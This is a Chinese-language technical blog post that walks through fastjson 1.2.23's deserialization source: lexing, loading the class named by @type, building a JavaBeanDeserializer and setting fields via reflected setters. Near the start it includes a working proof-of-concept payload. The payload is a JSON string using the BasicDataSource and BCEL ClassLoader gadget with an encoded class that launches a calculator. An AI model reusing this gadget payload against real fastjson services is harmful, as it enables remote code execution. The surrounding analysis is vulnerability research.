0%

fastjson反序列化底层源码分析

前言

fastjson的漏洞也跟了不少,不过玩来玩去始终眼光都聚焦于checkAutoType方法,对于fastjson框架整体的把握感觉很不够,有一天突然想到一个问题:fastjson反序列化的流程是怎样的?想了半天硬是不知道从哪里说起,于是就下了一番功夫去跟了一下底层源码,于是才有了这篇文章。

在正式开始之前做一点说明,本文基于fastjson1.2.23进行分析,这个版本还不涉及到autoType黑名单。因此,本文主要侧重fastjson反序列化的重要步骤,主要是一些宏观上的流程,希望能通过这篇文章,对fastjson反序列化流程有一个整体上的认识。

下面的分析基于如下代码,代码的执行效果是弹出计算器。

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class FastJsonTest1 {

    public static void main(String[] args) {
        String json="{\n" +
                "        \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
                "        \"driverClassLoader\": {\n" +
                "            \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\",\n" +
                "        },\n" +
                "        \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$C1$U$3d$e5$d5a$i$e4$a5$f8De$r$b0$90$8d$3b$88$h$82$89$R$c5$I$d1$f5P$hR$if$c80$Q$fe$c85$h4$$$fc$A$3f$cax$a7Q$q$b1$8b$de$db$f3$bam$3f$bf$de$3f$A$9c$a3d$c2$40$ceD$k$5b$G$b6$c3Z$e0$d81$R$c7$$$c7$k$c7$3eC$a2$a1$5c$V$5c0D$cb$95$H$86X$d3$7b$92$M$e9$b6r$e5$edt$d4$97$7e$cf$ee$3b$84$Y$N$e1$fc$uS$dd$c0$W$cf7$f6XS$U$c8$60v$bd$a9$_$e4$a5$K$a5$a9$d6L9M$db$RgC$7bf$5bH$c2$e48$b0p$88$o$N$QDX8$c21C$3e$e4k$ca$ab$5duZs$n$c7$81$f2$5c$L$t0i$dco$GCF$ab$i$db$j$d4$3a$fd$a1$U$BC$f6$P$ba$9f$ba$81$g$d1Ts$m$83$d5a$bb$5ci$ff$d3$d4i$ba$9cK$8a$3c$z$af$b1$dd$c0W$ee$a0$ben$b8$f3$3d$n$t$T2$a4$c7D$G$fa$c1$3d$df$W$S$rp$fa$d3pE$c0$c2$a7$d1$beA$a7$oUF5$5e$7d$F$5bP$c3$60$d1$9e$d0$60$94$y$a9$95$b4$a3$ad$40$ee$N$91$5ct$89$d8$e3$L$8c$eb$ea$S$89$85$c6$93$e4$8c$93$s$f4$X$a8$LS$92$g$e5$94b$mKI$9b$84rD$da$i$e9$Y$992$fa$3e$d9oO$3f$V$ac$f9$B$A$A\",\n" +
                "}";
        json=json.replace("\n","").replace("\t","").replace(" ","");
        System.out.println(json);
        JSON.parseObject(json);
    }

}

接下来,我们在JSON.parseObject方法上打上断点进行分析,主要的流程可以分为如下几步

词法分析

实际上词法分析是贯穿整个fastjson反序列化的流程的,这里为了方便,把他单独作为一步拿出来,但是希望读者不要被误解。词法分析是贯穿整个fastjson反序列化的流程,贯穿整个fastjson反序列化的流程,贯穿整个fastjson反序列化的流程的。

首先是JSON.parseObject方法,它继续调用了JSON.parse

image-20211117165907581

跟进JSON.parseJSON.parse调用了一个重载的方法最终来到下图所示的这里。这里需要解释一下这个方法的参数

  1. text参数,实际上就是我们需要反序列化的json字符串
  2. features参数,它定义了fastjson反序列化过程中的一些特性,我们如果不特殊指定的话使用的就是默认特性,比如:允许字段名不使用引号包裹、允许使用单引号代替双引号等特性(具体参考JSON类的static代码块)

然后看到,如果text不为null,就会创建一个parser来解析text

image-20211117165958474

我们直接跟进74行parser.parse,再经过一些重载方法调用后,来到了这里,看到一个swith-case代码块

这里一下这个swith-case,首先看到switch的变量是lexer.token(),lexer就是词法分析器,也就是词法分析这个工作的负责人。调用它的token方法就能够返回上一个解析完毕的token类型,根据不同的token类型这里会选择进入不同的case进行处理。

image-20211117170557875

比如我们这里的token类型是12,对应的是json字符串最开始的{,进入case12。这里首先创建了一个JSONObject对象,然后将其传入了DefaultJSONParser::parseObject

image-20211117171034694

跟进DefaultJSONParser::parseObject

image-20211117171131942

再次获取token,由于我们在两次获取token之间并未调用词法分析器让它继续向下分析,所以这里获取到的token跟上次一样,仍然是12,对应于{,进入else分支

image-20211117171349902

在这个else里就准备开始干大事了,不断地调用词法分析器lexer让它进行分析。红色注释的部分都是在调用词法分析器。这里应该非常好理解,这个代码的逻辑实际上跟json的语法是互相匹配的。

image-20211117171711926

经过上面的分析,然后看看我们的传入的json,不难知道,这个key字符串实际上就是@type

image-20211117172202715

继续往下看,在274行,判断key是否等于@type并且是否禁用了特殊key(默认未禁用),条件得到满足,进入if

image-20211117172347725

进入之后275行又调用了词法分析器扫描,从当前字符开始,扫描到下一个引号,得到的ref值就是org.apache.tomcat.dbcp.dbcp.BasicDataSource

然后276行调用TypeUtils.loadClass进行了类加载,进入下一部分

加载@type指定的类

这里类加载的过程也比较简单,就是通过应用程序类加载器将类进行加载,完全没有任何过滤。

image-20211117172736827

实际上,在后续的版本中就不再是调用TypeUtils.loadClass。而是调用ParserConfig::checkAutoType,也是从这里开启了后续众多的黑名单绕过研究。这个不是本文的重点,这里不多说。

创建deserializer

TypeUtils.loadClass结束之后,就获取到了@type指定的Class对象,紧接着就调用this.config.getDeserializer根据Class对象开始获取相应的反序列化器。

image-20211117185139980

跟进this.config.getDeserializer。先从derializers中尝试获取反序列化器,失败。然后由于type是Class类型(就是@type指定的Class对象),继续调用this.getDeserializer

image-20211117185312495

跟进this.getDeserializer,这个方法的前半段进行了一系列的尝试获取反序列化器,都没能成功获取。略掉那些步骤,直接进入this.createJavaBeanDeserializer,准备创建反序列化器

image-20211117185643303

跟进this.createJavaBeanDeserializer,略掉一些不重要的步骤,直接看475行,调用JavaBeanInfo.build,准备收集Bean的信息,来进行反序列化。

image-20211117185817150

跟进JavaBeanInfo.build,这个方法一上来就通过反射获取到了很多对象,包括Field对象、Method对象、Constructor对象。这些对象都是与@type指定的Class相关的,将会参与到后续的反序列化过程。

image-20211117185925412

我们跟进getDefaultConstructor,这个方法就是获取要反序列化的类的默认构造器,接下来会调用这个构造器来创建要反序列化的对象。在489行获取了所有的构造器,然后494行进行遍历,找出无参构造器直接break,然后由于defaultConstructor!=null跳过502行的if,函数返回。所以,这个函数的作用简单理解就是在获取无参构造器。

image-20211117190415078

回到JavaBeanInfo.build,接下来开始遍历methods,就是build方法最开始通过反射获取到的@type指定的类中的public方法

image-20211117190651052

这个for循环实际上就是在找setter方法,通过setter方法,得到对象中的字段名字,然后反射获取Field对象,封装成FieldInfo对象,然后加入到fieldList中。

image-20211117191744970

遍历完methods之后,开始遍历field,将field也封装成FieldInfo加入到fieldList,这里由于没有public修饰的字段,var29=0,载直接跳过

image-20211117192337989

紧接着又开始遍历methods,不过这次找的是getter方法,通过getter方法来获取字段,原理类似,不赘述了

image-20211117192510629

最终,字段信息都获取完毕后,就将fieldList传入JavaBeanInfo的构造器,开始创建JavaBeanInfo对象,然后JavaBeanInfo.build方法就返回了。

接下来函数就开始逐层返回,最终返回到DefaultJSONParser::parseObject,意味着this.config.getDeserializer执行完毕,反序列化器获取完毕。

image-20211117193407634

deserializer.deserialize

接下来就开始使用反序列化器来反序列化对象了。deserializer.deserialze经历若干个重载方法后,来到这里。这里的函数参数type还是@type指定的Class,if条件满足,然后又开始使用词法分析器读入字符进行分析。

image-20211117194536853

deserializer.deserialze会一边遍历创建deserializer过程中得到的sortedFieldDeserializers,一边查找json字符串,匹配上就将json字符串中的value设置到对应的字段中。设置的时候会用到反射机制。这里以driverClassLoaderdriverClassName字段的反序列化为例进行分析

先看driverClassLoader字段,遍历到driverClassLoader字段的时候,匹配到json字符串中的driverClassLoader键,matchField变量被设置成true

image-20211117213002206

然后由于matchField变量为true,进入557行的if,调用fieldDeser.parseField

image-20211117212829836

跟进fieldDeser.parseField,红色字体注释了这个方法中的三个核心步骤。由于这里的driverClassLoader也是一个复杂对象,那么也同样需要进行反序列化,步骤也是一样的,先创建反序列化器,然后用反序列化器进行反序列化,就不再跟进了。

image-20211117213339659

最后反序列化的到value为com.sun.org.apache.bcel.internal.util.ClassLoader对象,然后调用setValue将value设置到对应的字段

image-20211117213553015

跟进setValue,这里就用到了创建deserializer过程中创建的FieldInfo,还记得之前遍历setter方法生成FieldInfo的过程吗?这里就用到那里的setter方法,通过反射调用setter方法给字段赋值。

image-20211117213759226

再来看看driverClassName字段的反序列化,加深一下印象。遍历到driverClassName字段的时候,匹配到json字符串中的driverClassName键,matchField变量被设置成true,然后调用fieldDeser.setValue将json字符串中driverClassName键对应的值设置到对象的字段中。

这里与前面driverClassLoader是有些许区别的,driverClassLoader由于是一个复杂对象,valueParsed=false进入了559行,需要先反序列化对象再给字段赋值。而这里的driverClassName是一个String类型的,反序列化较容易,所以直接parse完就赋值了。

image-20211117210812289

跟进fieldDeser.setValue,同样用到了创建deserializer过程中创建的FieldInfo,通过反射调用setter方法给字段赋值。至此,driverClassName的赋值就告一段落

image-20211117211024279

等json字符串中的所有的字段都复制完毕后,也就意味着反序列化工作基本结束,对象恢复完毕,deserializer.deserialze就开始返回,回到DefaultJSONParser::parseObject中。

image-20211117214716279

随后DefaultJSONParser::parseObject方法也返回了,逐层返回到JSON::parseObject。下面还会调用JSON::toJSON,不过这就不太算反序列化的过程了,分析就到此为止吧。

image-20211117214859971

总结

从宏观角度来看,fastjson反序列化实际上逻辑性还是非常强的。可以分为如下几步

  1. 获取@type指定的Class对象
  2. 根据Class对象获取类的信息(主要是字段信息,顺便拿到setter方法,将字段信息都保存到了FieldDeserializer对象中),最终将类信息都存到deserializer(通常是JavaBeanDeserializer)中
  3. 调用deserializer.deserialize进行反序列化,一边遍历FieldDeserializer数组,一边与json字符串比对,找到对应的就给对应的字段设置值。如果字段是简单类型就直接设置,如果是复杂类型,将递归调用步骤1。

粗略看了一下高版本的fastjson1.2.68,发现代码虽然有所改动,但是整体框架还是没变的,以上三步仍然适用。

参考文章

Fastjson反序列化RCE核心-四个关键点分析